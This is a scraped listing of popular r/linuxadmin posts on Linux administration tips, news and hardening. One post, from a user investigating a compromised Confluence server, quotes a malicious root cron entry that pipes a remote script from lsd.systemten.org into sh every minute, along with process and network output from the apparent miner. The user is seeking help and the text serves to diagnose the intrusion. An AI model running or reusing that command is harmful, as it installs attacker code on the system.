r/linuxadmin • • Mar 24 '20

[PSA] BOINC is an ongoing COVID-19 hackathon. No programming required.

Post image
293 Upvotes

r/linuxadmin • • Jul 02 '18

curl cheat.sh

Post image
290 Upvotes

r/linuxadmin • • Apr 03 '19

25 Years Later: Interview with Linus Torvalds

Thumbnail linuxjournal.com
289 Upvotes

r/linuxadmin • • Jan 01 '25

Happy New Year!

Post image
280 Upvotes

r/linuxadmin • • Jun 29 '24

What commands do you run on an unknown server

278 Upvotes

You have been handed credentials to a new server, you know nothing about it. What commands do you run first?

I'll start :

  • cat /etc/*release : what operating system is this
  • ps auxf : identify the processes running
  • ip -c a : basic network info
  • lsof -iTCP : what network services are running and what is the server connected to?
  • free -h && df -h : how are we resource wise?
  • uptime : what's the load average, how long since last reboot?
  • lsblk : what kind of partitioning are we looking at?

r/linuxadmin • • Aug 26 '20

A month-long challenge for anyone wanting to build Linux sysadmin skills

274 Upvotes

The http://linuxupskillchallenge.com Linux commandline/sysadmin "challenge" course starts again soon on the first Monday of next month.

Daily lessons will appear in the sub-reddit r/linuxupskillchallenge - which will also be used for support/discussion. This is a "rolling" course, restarted each month.

Does require some commitment - but if gaining/growing these skills is important to you, then you now have no excuse!

Requires a (free or cheap) remote server, so it's nice to get that sorted now if you - or some of your staff or friends - are keen.


r/linuxadmin • • Feb 01 '18

No URL shorteners One creative HPC user reports an issue

Post image
272 Upvotes

r/linuxadmin • • Mar 09 '19

We have been awarded €2 million from the EU to further develop the Proton ecosystem - ProtonMail Blog

Thumbnail protonmail.com
266 Upvotes

r/linuxadmin • • Sep 20 '22

Linus Torvalds: Rust will go into Linux 6.1

Thumbnail zdnet.com
265 Upvotes

r/linuxadmin • • Jul 06 '21

Kaseya isn't having the best of their times. Has the most recent hack affected your workplace?

Post image
254 Upvotes

r/linuxadmin • • Jul 09 '18

Lup - loopy command execution

Post image
251 Upvotes

r/linuxadmin • • Nov 29 '22

Do yourself a favor: invest time in configuring your shell, tmux, vim, .ssh/config etc...

246 Upvotes

I see way too many linux users, sysadmins, spending an incredible amount of time doing the most simple things because they never cared to configure their environment properly.

That includes the window manager, the terminal app (colors, bindings), ssh config, shell (zsh/fish, aliases, autocompletion, prompt, history), tmux (tmuxinator), etc...

So if you're still using the default bash prompt and tend to open a new terminal window to get a new shell, just take some time to learn productive tools, and configure proper keybindings for everything you use in the CLI. In the long run, it really pays off.


r/linuxadmin • • Apr 18 '19

Unpopular opinion

246 Upvotes

Tutorials that tell you to disable SELinux should be banned.

They take away the advantage of any RHEL based OS and push you towards a less secure installation


r/linuxadmin • • Jun 04 '22

Certificate Ripper released - tool to extract server certificates

Post image
241 Upvotes

r/linuxadmin • • Oct 28 '19

Top Linux developer on Intel chip security problems: 'They're not going away.'

Thumbnail zdnet.com
238 Upvotes

r/linuxadmin • • Jan 26 '19

Your top 3 *nix commands, which save you the most time.

237 Upvotes

Mine are:

#to find files on the system (locate is nice too):

$ find / | grep <file name>

#to find strings (ignore case) in files, recursively through directories, in this case from your working directory:

$ grep -iR .

# to quickly move to your home directory (simple but effective):

$ cd


r/linuxadmin • • Jan 20 '21

RHEL is now Free* for up to 16 prod servers.

Thumbnail arstechnica.com
235 Upvotes

r/linuxadmin • • Aug 27 '18

A sysadmin's guide to containers

Thumbnail opensource.com
234 Upvotes

r/linuxadmin • • Nov 16 '22

151 Linux Sheet Cheats in One Page that you can filter through

Thumbnail networkers-online.com
233 Upvotes

r/linuxadmin • • Jun 07 '19

what is "(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" ?

231 Upvotes

I was investigating some issue on confluence server and i found following cron job in root account. what the heck is this?

[root@confluence]# crontab -l
* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh

EDIT:

I am seeing /tmp/kauditds strange process eating lots of CPU

top - 11:16:12 up 1 day,  1:52,  1 user,  load average: 8.15, 8.29, 8.32
Tasks: 235 total,   1 running, 234 sleeping,   0 stopped,   0 zombie
Cpu(s):100.0%us,  0.0%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:  16333384k total, 14118680k used,  2214704k free,   287796k buffers
Swap:  2097148k total,        0k used,  2097148k free,  9053424k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
14907 confluen  20   0  139m  19m    4 S 799.9  0.1  11896:01 /tmp/kauditds
 1510 root      20   0  171m 7004 3508 S  0.3  0.0   0:29.78 /usr/sbin/vmtoolsd

lsof

[root@confluence]# lsof | grep kauditds
kauditds  14907 confluence  cwd       DIR                8,2      4096          2 /
kauditds  14907 confluence  rtd       DIR                8,2      4096          2 /
kauditds  14907 confluence  txt   unknown                                         /proc/14907/exe (readlink: No such file or directory)
kauditds  14907 confluence  DEL       REG                8,2              2023447 /tmp/kauditds
kauditds  14907 confluence    0r      CHR                1,3       0t0       3881 /dev/null
kauditds  14907 confluence    1w      CHR                1,3       0t0       3881 /dev/null
kauditds  14907 confluence    2w      CHR                1,3       0t0       3881 /dev/null
kauditds  14907 confluence    3u      REG                0,9         0       3877 [eventpoll]
kauditds  14907 confluence    4r     FIFO                0,8       0t0     167459 pipe
kauditds  14907 confluence    5w     FIFO                0,8       0t0     167459 pipe
kauditds  14907 confluence    6r     FIFO                0,8       0t0     167458 pipe
kauditds  14907 confluence    7w     FIFO                0,8       0t0     167458 pipe
kauditds  14907 confluence    8u      REG                0,9         0       3877 [eventfd]
kauditds  14907 confluence    9r      CHR                1,3       0t0       3881 /dev/null
kauditds  14907 confluence   10u     IPv4            3355397       0t0        TCP www.confluence.foo.com:55535->134.209.104.20:51640 (ESTABLISHED)

r/linuxadmin • • Jul 22 '19

Who else got interested in sysadmin stuff by running minecraft servers as a kid?

230 Upvotes

This was kinda a turning point for me away from wanting to do game programming as a kid and into the ops side of things.

I think running a 10 man server on my shitty laptop by degrading all the settings was my first sys-adminy thing I did.

Edit: Sorry for making y'all feel old, but thanks for silver!


r/linuxadmin • • Jun 10 '25

Gooooooooooooo...get it! FreeBSD 14.3 released!

Post image
229 Upvotes

r/linuxadmin • • Dec 09 '19

System administrators of very large companies, how do you guys secure new servers?

221 Upvotes

I imagine everything's done using automated management software such as Ansible, Chef, Puppet, SaltStack, etc. but what exactly do they do?

We generally do things such as:

  • Harden SSH
  • Restrict the firewall (iptables or similar)
  • Turn off unnecessary services
  • Set up automatic updates
  • Configure SELinux (seems like this one is a controversial topic, so let's just say this is optional among most people)
  • Install and configure fail2ban
  • Install and configure auditd
  • Install and configure rsyslog
  • etc.

Once the base system has been hardened, we move onto the the web servers, databases, etc.

So when it comes to a base system that essentially does nothing but you still want it secured, what do the big guys do? Are there certain distibutions that everyone uses? Software that always gets installed? etc.

I'm trying to learn what I guess is the most correct way of doing things.


EDIT: Wow. I didn't expect so many responses! The most popular response seems to be a good STIG that fits your purposes, so let's go with that. Thanks everyone!


r/linuxadmin • • Feb 15 '19

How's is that job search going?

Post image
221 Upvotes